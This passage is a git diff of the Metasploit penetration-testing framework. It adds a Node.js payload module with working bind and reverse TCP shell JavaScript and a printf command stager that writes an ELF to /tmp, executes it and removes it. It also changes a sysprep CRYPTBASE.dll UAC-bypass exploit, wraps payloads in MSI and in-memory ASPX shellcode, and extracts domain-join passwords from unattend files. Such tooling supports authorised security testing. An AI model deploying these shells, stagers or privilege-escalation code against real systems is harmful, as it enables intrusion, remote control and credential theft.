args[:db_workspace].empty? - raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" - end - end + if not is_db_active? + if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty? + raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" + end + end - raise ArgumentError, "Need ARG1" if args[:arg1].empty? + raise ArgumentError, "Need ARG1" if args[:arg1].empty? - return args + return args end @@ -98,7 +98,7 @@ end # This is your main function # def main(args) - print_status("Initialzation is done, and here's your input: #{args[:arg1]}") + print_status("Initialzation is done, and here's your input: #{args[:arg1]}") end @@ -106,27 +106,27 @@ end # Below initializes the arguments and database # begin - args = init_args - if args[:help] - help - return - end + args = init_args + if args[:help] + help + return + end - init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? - main(args) + init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? + main(args) rescue ArgumentError => e - print_error("Bad argument(s): #{e.message}") - return + print_error("Bad argument(s): #{e.message}") + return rescue RuntimeError => e - # Any runtime error should be raised as "RuntimeError" - print_error(e.message) - return + # Any runtime error should be raised as "RuntimeError" + print_error(e.message) + return rescue ::Exception => e - # Whatever unknown exception occurs, we raise it - raise e + # Whatever unknown exception occurs, we raise it + raise e end \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp index 8f1ec0fa4d..d136f4eaa5 100644 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -4,11 +4,14 @@ void exploit() { const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; + const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; const wchar_t *sySysPrepExe = L"sysprep.exe"; const wchar_t *szElevDll = L"CRYPTBASE.dll"; const wchar_t *szSourceDll = L"CRYPTBASE.dll"; wchar_t szElevDir[MAX_PATH] = {}; + wchar_t szElevDir_syswow64[MAX_PATH] = {}; wchar_t szElevDllFull[MAX_PATH] = {}; + wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; wchar_t szElevExeFull[MAX_PATH] = {}; wchar_t path[MAX_PATH] = {}; wchar_t windir[MAX_PATH] = {}; @@ -25,8 +28,6 @@ void exploit() const IID *pIID_EIFOClass = &__uuidof(FileOperation); const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); - Wow64DisableWow64FsRedirection(&OldValue); - GetWindowsDirectoryW(windir, MAX_PATH); GetTempPathW(MAX_PATH, path); @@ -37,14 +38,24 @@ void exploit() wcscat_s(szElevDir, MAX_PATH, windir); wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + /* %windir%\sysnative\sysprep\ */ + wcscat_s(szElevDir_syswow64, MAX_PATH, windir); + wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + /* %windir\system32\sysprep\cryptbase.dll */ wcscat_s(szElevDllFull, MAX_PATH, szElevDir); wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + /* %windir\sysnative\sysprep\cryptbase.dll */ + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); + /* %windir%\system32\sysprep\sysprep.exe */ wcscat_s(szElevExeFull, MAX_PATH, szElevDir); wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); + + if (CoInitialize(NULL) == S_OK) { if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) @@ -70,20 +81,33 @@ void exploit() shinfo.lpDirectory = szElevDir; shinfo.nShow = SW_HIDE; + // Only enable redirection for the process execution. + Wow64DisableWow64FsRedirection(&OldValue); if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) { WaitForSingleObject(shinfo.hProcess, 200); TerminateProcess(shinfo.hProcess, 0); // Even better if the template payload.dll calls ExitProcess CloseHandle(shinfo.hProcess); } + Wow64RevertWow64FsRedirection(OldValue); - /* Delete copied file - This doesn't appear to work in SYSWOW64 despite disabling the redirect?? */ if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**) &pSHIDelete)) if (0 != pSHIDelete) if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) { - pFileOp->PerformOperations(); - } + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (!pFileOp->PerformOperations()) + { + if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**) &pSHIDelete)) + if (0 != pSHIDelete) + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + } + } + } } } } diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index 6b9ddb322b..140fa94ee4 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -37,45 +37,57 @@ module Auxiliary::JohnTheRipper autodetect_platform end + # @return [String] the run path instance variable if the platform is detectable, nil otherwise. def autodetect_platform - cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo") return @run_path if @run_path + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") + if File.directory?(cpuinfo_base) + data = nil - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end - - when /x86_64-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - - when /i[\d]86-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + @run_path ||= "run.win32.sse2/john.exe" + when /mmx/ + @run_path ||= "run.win32.mmx/john.exe" + else + @run_path ||= "run.win32.any/john.exe" + end + when /x86_64-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /mmx/ + @run_path ||= "run.linux.x64.mmx/john" + else + @run_path ||= "run.linux.x86.any/john" + end + when /i[\d]86-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + @run_path ||= "run.linux.x86.sse2/john" + when /mmx/ + @run_path ||= "run.linux.x86.mmx/john" + else + @run_path ||= "run.linux.x86.any/john" + end end end - @run_path + + return @run_path end def john_session_id diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb new file mode 100755 index 0000000000..faad1f9d2a --- /dev/null +++ b/lib/msf/core/exploit/cmdstager_printf.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/cmdstager' + +module Msf + +#### +# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf. +# +# This stager uses a POSIX-conformant printf, that supports the interpretation +# of octal escapes, to drop an ELF with the payload embedded to disk. +#### + +module Exploit::CmdStagerPrintf + + include Msf::Exploit::CmdStager + + # Initializes a CmdStagerPrintf instance for the supplied payload + # + # @param exe [String] The payload embedded into an ELF + # @return [Rex::Exploitation::CmdStagerPrintf] Stager instance + def create_stager(exe) + Rex::Exploitation::CmdStagerPrintf.new(exe) + end +end + +end diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 7acb4cdd6a..cfee6d58af 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -20,15 +20,20 @@ module Exploit::EXE OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), - OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), - OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) + OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]), + OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]), + OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), + OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), + OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), + OptBool.new( 'MSI::UAC', [ false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)' ]) ], self.class) end - def get_custom_exe - print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!") + def get_custom_exe(path=nil) + path ||= datastore['EXE::Custom'] + print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") datastore['DisablePayloadHandler'] = true - file = ::File.open(datastore['EXE::Custom'],'rb') + file = ::File.open(path,'rb') exe = file.read(file.stat.size) file.close exe @@ -99,6 +104,22 @@ module Exploit::EXE dll end + def generate_payload_msi(opts = {}) + return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + + exe = generate_payload_exe(opts) + + opts.merge! ({ + :msi_template => datastore['MSI::Template'], + :msi_template_path => datastore['MSI::Path'], + :uac => datastore['MSI::UAC'] + }) + + msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) + + return msi + end + protected def exe_init_options(opts) opts.merge!( diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index eb0803df60..5a17c1c6ae 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -3,6 +3,7 @@ require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' +require 'rex/exploitation/javascriptosdetect' module Msf diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 810f87492e..b1dd01add0 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_bourne' require 'msf/core/exploit/cmdstager_echo' +require 'msf/core/exploit/cmdstager_printf' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index f8ed76f6a8..a28fa14a68 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -12,39 +12,40 @@ class Msf::Module::Author # A hash of known author names Known = { - 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', - 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', - 'skape' => 'mmiller' + 0x40.chr + 'hick.org', - 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', - 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', - 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', - 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', - 'MC' => 'mc' + 0x40.chr + 'metasploit.com', - 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', - 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', - 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', - 'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au', - 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', - 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', - 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', - 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', - 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', - 'et' => 'et' + 0x40.chr + 'metasploit.com', - 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', - 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', - 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', - 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', - 'natron' => 'natron' + 0x40.chr + 'metasploit.com', - 'todb' => 'todb' + 0x40.chr + 'metasploit.com', - 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', - 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', - 'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com', - 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', + 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', + 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', + 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', + 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', + 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', + 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', + 'et' => 'et' + 0x40.chr + 'metasploit.com', + 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', + 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', + 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', + 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', + 'joev' => 'joev' + 0x40.chr + 'metasploit.com', 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', + 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', + 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', + 'MC' => 'mc' + 0x40.chr + 'metasploit.com', + 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', + 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', + 'natron' => 'natron' + 0x40.chr + 'metasploit.com', + 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', + 'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au', + 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', + 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', + 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', + 'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com', + 'skape' => 'mmiller' + 0x40.chr + 'hick.org', + 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', + 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', + 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', - 'mubix' => 'mubix' + 0x40.chr + 'hak5.org' + 'todb' => 'todb' + 0x40.chr + 'metasploit.com', + 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com' } # diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb new file mode 100644 index 0000000000..3ae0de1ab3 --- /dev/null +++ b/lib/msf/core/payload/nodejs.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::NodeJS + # Outputs a javascript snippet that spawns a bind TCP shell + # @return [String] javascript code that executes bind TCP payload + def nodejs_bind_tcp + cmd = <<-EOS + (function(){ + var require = global.require || global.process.mainModule.constructor._load; + if (!require) return; + + var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; + var net = require("net"), + cp = require("child_process"), + util = require("util"); + + var server = net.createServer(function(socket) { + var sh = cp.spawn(cmd, []); + socket.pipe(sh.stdin); + util.pump(sh.stdout, socket); + util.pump(sh.stderr, socket); + }); + server.listen(#{datastore['LPORT']}); + })(); + EOS + cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'') + end + + # Outputs a javascript snippet that spawns a reverse TCP shell + # @param [Hash] opts the options to create the reverse TCP payload with + # @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false. + # @return [String] javascript code that executes reverse TCP payload + def nodejs_reverse_tcp(opts={}) + use_ssl = opts.fetch(:use_ssl, false) + tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end + net_lib = if use_ssl then 'tls' else 'net' end + lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] + # the global.process.mainModule.constructor._load fallback for require() is + # handy when the payload is eval()'d into a sandboxed context: the reference + # to 'require' is missing, but can be looked up from the 'global' object. + # + # however, this fallback might break in later versions of nodejs. + cmd = <<-EOS + (function(){ + var require = global.require || global.process.mainModule.constructor._load; + if (!require) return; + var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; + var net = require("#{net_lib}"), + cp = require("child_process"), + util = require("util"), + sh = cp.spawn(cmd, []); + var client = this; + client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { + client.socket.pipe(sh.stdin); + util.pump(sh.stdout, client.socket); + util.pump(sh.stderr, client.socket); + }); + })(); + EOS + cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'') + end + + # Wraps the javascript code param in a "node" command invocation + # @param [String] code the javascript code to run + # @return [String] a command that invokes "node" and passes the code + def nodejs_cmd(code) + "node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'" + end +end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 457806732a..43ad61470e 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -13,6 +13,7 @@ class EXE require 'rex' require 'rex/peparsey' require 'rex/pescan' +require 'rex/random_identifier_generator' require 'rex/zip' require 'metasm' require 'digest/sha1' @@ -26,7 +27,7 @@ require 'msf/core/exe/segment_injector' def self.set_template_default(opts, exe = nil, path = nil) # If no path specified, use the default one. - path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + path ||= File.join(Msf::Config.data_directory, "templates") # If there's no default name, we must blow it up. if not exe @@ -57,7 +58,7 @@ require 'msf/core/exe/segment_injector' end def self.read_replace_script_template(filename, hash_sub) - template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename) + template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) template = '' File.open(template_pathname, "rb") do |f| @@ -488,6 +489,66 @@ require 'msf/core/exe/segment_injector' exe_sub_method(code,opts) end + # + # Wraps an executable inside a Windows + # .msi file for auto execution when run + # + def self.to_exe_msi(framework, exe, opts={}) + if opts[:uac] + opts[:msi_template] ||= "template_windows.msi" + else + opts[:msi_template] ||= "template_nouac_windows.msi" + end + return replace_msi_buffer(exe, opts) + end + + def self.replace_msi_buffer(pe, opts) + opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates") + + if opts[:msi_template].include?(File::SEPARATOR) + template = opts[:msi_template] + else + template = File.join(opts[:msi_template_path], opts[:msi_template]) + end + + msi = '' + File.open(template, "rb") { |fd| + msi = fd.read(fd.stat.size) + } + + section_size = 2**(msi[30..31].unpack('s')[0]) + sector_allocation_table = msi[section_size..section_size*2].unpack('l*') + + buffer_chain = [] + current_secid = 5 # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? + + until current_secid == -2 + buffer_chain << current_secid + current_secid = sector_allocation_table[current_secid] + end + + buffer_size = buffer_chain.length * section_size + + if pe.size > buffer_size + raise RuntimeError, "MSI Buffer is not large enough to hold the PE file" + end + + pe_block_start = 0 + pe_block_end = pe_block_start + section_size - 1 + + buffer_chain.each do |section| + block_start = section_size * (section + 1) + block_end = block_start + section_size - 1 + pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}") + msi[block_start..block_end] = pe_block + pe_block_start = pe_block_end + 1 + pe_block_end += section_size + end + + return msi + end + def self.to_osx_arm_macho(framework, code, opts={}) # Allow the user to specify their own template @@ -822,6 +883,21 @@ def self.to_vba(framework,code,opts={}) return read_replace_script_template("to_exe.aspx.template", hash_sub) end + def self.to_mem_aspx(framework, code, exeopts={}) + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:var_funcAddr) + rig.init_var(:var_hThread) + rig.init_var(:var_pInfo) + rig.init_var(:var_threadId) + rig.init_var(:var_bytearray) + + hash_sub = rig.to_h + hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray]) + + return read_replace_script_template("to_mem.aspx.template", hash_sub) + end + def self.to_win32pe_psh_net(framework, code, opts={}) hash_sub = {} hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1532,6 +1608,9 @@ def self.to_vba(framework,code,opts={}) output = Msf::Util::EXE.to_exe_asp(exe, exeopts) when 'aspx' + output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) + + when 'aspx-exe' exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) @@ -1567,6 +1646,25 @@ def self.to_vba(framework,code,opts={}) when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch) end + when 'msi' + case arch + when ARCH_X86,nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + + when 'msi-nouac' + case arch + when ARCH_X86,nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + exeopts[:uac] = true + output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) output = case arch @@ -1632,7 +1730,7 @@ def self.to_vba(framework,code,opts={}) def self.to_executable_fmt_formats [ 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx','war','psh','psh-net' + 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac' ] end diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 79609ea14f..3db60c1f37 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/bourne' require 'rex/exploitation/cmdstager/echo' +require 'rex/exploitation/cmdstager/printf' diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb new file mode 100755 index 0000000000..f0bbe60275 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -0,0 +1,122 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' +require 'shellwords' + +module Rex +module Exploitation + +class CmdStagerPrintf < CmdStagerBase + + def initialize(exe) + super + + @var_elf = Rex::Text.rand_text_alpha(5) + end + + # + # Override to ensure opts[:temp] is a correct *nix path + # + def generate(opts = {}) + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, '/') + opts[:temp] = opts[:temp].shellescape + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + super + end + + # + # Override to set the extra byte count + # + def generate_cmds(opts) + if opts[:noquotes] + @cmd_start = "printf " + @cmd_end = ">>#{@tempdir}#{@var_elf}" + @prefix = '\\\\' + min_part_size = 5 + else + @cmd_start = "printf '" + @cmd_end = "'>>#{@tempdir}#{@var_elf}" + @prefix = '\\' + min_part_size = 4 + end + xtra_len = @cmd_start.length + @cmd_end.length + opts.merge!({ :extra => xtra_len }) + + if (opts[:linemax] - opts[:extra]) < min_part_size + raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" + end + + super + end + + # + # Encode into a "\12\345" octal format that printf understands + # + def encode_payload(opts) + return Rex::Text.to_octal(@exe, @prefix) + end + + # + # Override it to ensure that the octal representation of a byte isn't cut + # + def slice_up_payload(encoded, opts) + encoded_dup = encoded.dup + + parts = [] + xtra_len = opts[:extra] + xtra_len ||= 0 + while (encoded_dup.length > 0) + temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) + + # remove the last octal escape if it is imcomplete + if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix + pos = temp.rindex('\\') + pos -= 1 if temp[pos-1] == '\\' + temp.slice!(pos..temp.length-1) + end + + parts << temp + encoded_dup.slice!(0, temp.length) + end + + parts + end + + # + # Combine the parts of the encoded file with the stuff that goes + # before and after it. + # + def parts_to_commands(parts, opts) + parts.map do |p| + @cmd_start + p + @cmd_end + end + end + + # + # Since the binary has been already dropped to disk, just execute and + # delete it + # + def generate_cmds_decoder(opts) + cmds = [] + # Make it all happen + cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}" + + # Clean up after unless requested not to.. + unless opts[:nodelete] + cmds << "rm -f #{@tempdir}#{@var_elf}" + end + + return cmds + end + + def cmd_concat_operator + " ; " + end + +end +end +end diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index a72d88ab15..c97091f88c 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -29,7 +29,7 @@ class RopDb # # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size, - # and :size_negate. + # :unsafe_negate_size, and :safe_negate_size # Note if no RoP is found, it returns an empry array. # Arguments: # rop_name - name of the ROP chain. @@ -90,8 +90,10 @@ class RopDb Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i elsif e == :size payload.length - elsif e == :size_negate - 0xffffffff - payload.length + 1 + elsif e == :unsafe_negate_size + get_unsafe_size(payload.length) + elsif e == :safe_negate_size + get_safe_size(payload.length) else e end @@ -105,6 +107,28 @@ class RopDb private + # + # Returns a size that's safe from null bytes. + # This function will keep incrementing the value of "s" until it's safe from null bytes. + # + def get_safe_size(s) + safe_size = get_unsafe_size(s) + while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00") + safe_size -= 1 + end + + safe_size + end + + + # + # Returns a size that might contain one or more null bytes + # + def get_unsafe_size(s) + 0xffffffff - s + 1 + end + + # # Checks if a ROP chain is compatible # @@ -146,8 +170,10 @@ class RopDb gadgets << :junk when 'size' gadgets << :size - when 'size_negate' - gadgets << :size_negate + when 'unsafe_negate_size' + gadgets << :unsafe_negate_size + when 'safe_negate_size' + gadgets << :safe_negate_size else gadgets << value.to_i(16) end @@ -160,4 +186,4 @@ class RopDb end end -end +end \ No newline at end of file diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index 977583609c..0f8c3f27f7 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -9,12 +9,16 @@ module Parser # and uses REXML (as opposed to Nokogiri) for its XML parsing. # See: http://technet.microsoft.com/en-us/library/ff715801 # http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx +# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx class Unattend + + require 'rex/text' def self.parse(xml) + return [] if xml.nil? results = [] unattend = xml.elements['unattend'] - return if unattend.nil? + return [] if unattend.nil? unattend.each_element do |settings| next if settings.class != REXML::Element settings.get_elements('component').each do |c| @@ -22,6 +26,7 @@ class Unattend results << extract_useraccounts(c.elements['UserAccounts']) results << extract_autologon(c.elements['AutoLogon']) results << extract_deployment(c.elements['WindowsDeploymentServices']) + results << extract_domain_join(c.elements['Identification/Credentials']) end end return results.flatten @@ -47,6 +52,18 @@ class Unattend return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } end + # + # Extract sensitive data from 'Secure' Domain Join + # + def self.extract_domain_join(credentials) + return [] if credentials.nil? + domain = credentials.elements['Domain'].get_text.value rescue '' + username = credentials.elements['Username'].get_text.value rescue '' + password = credentials.elements['Password'].get_text.value rescue '' + + return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } + end + # # Extract sensitive data from AutoLogon # @@ -91,7 +108,7 @@ class Unattend password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') end - if not password.empty? + unless password.empty? results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} end @@ -128,6 +145,27 @@ class Unattend return results end + def self.create_table(results) + return nil if results.nil? or results.empty? + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Unattend Credentials', + 'Indent' => 1, + 'Columns' => ['Type', 'Domain', 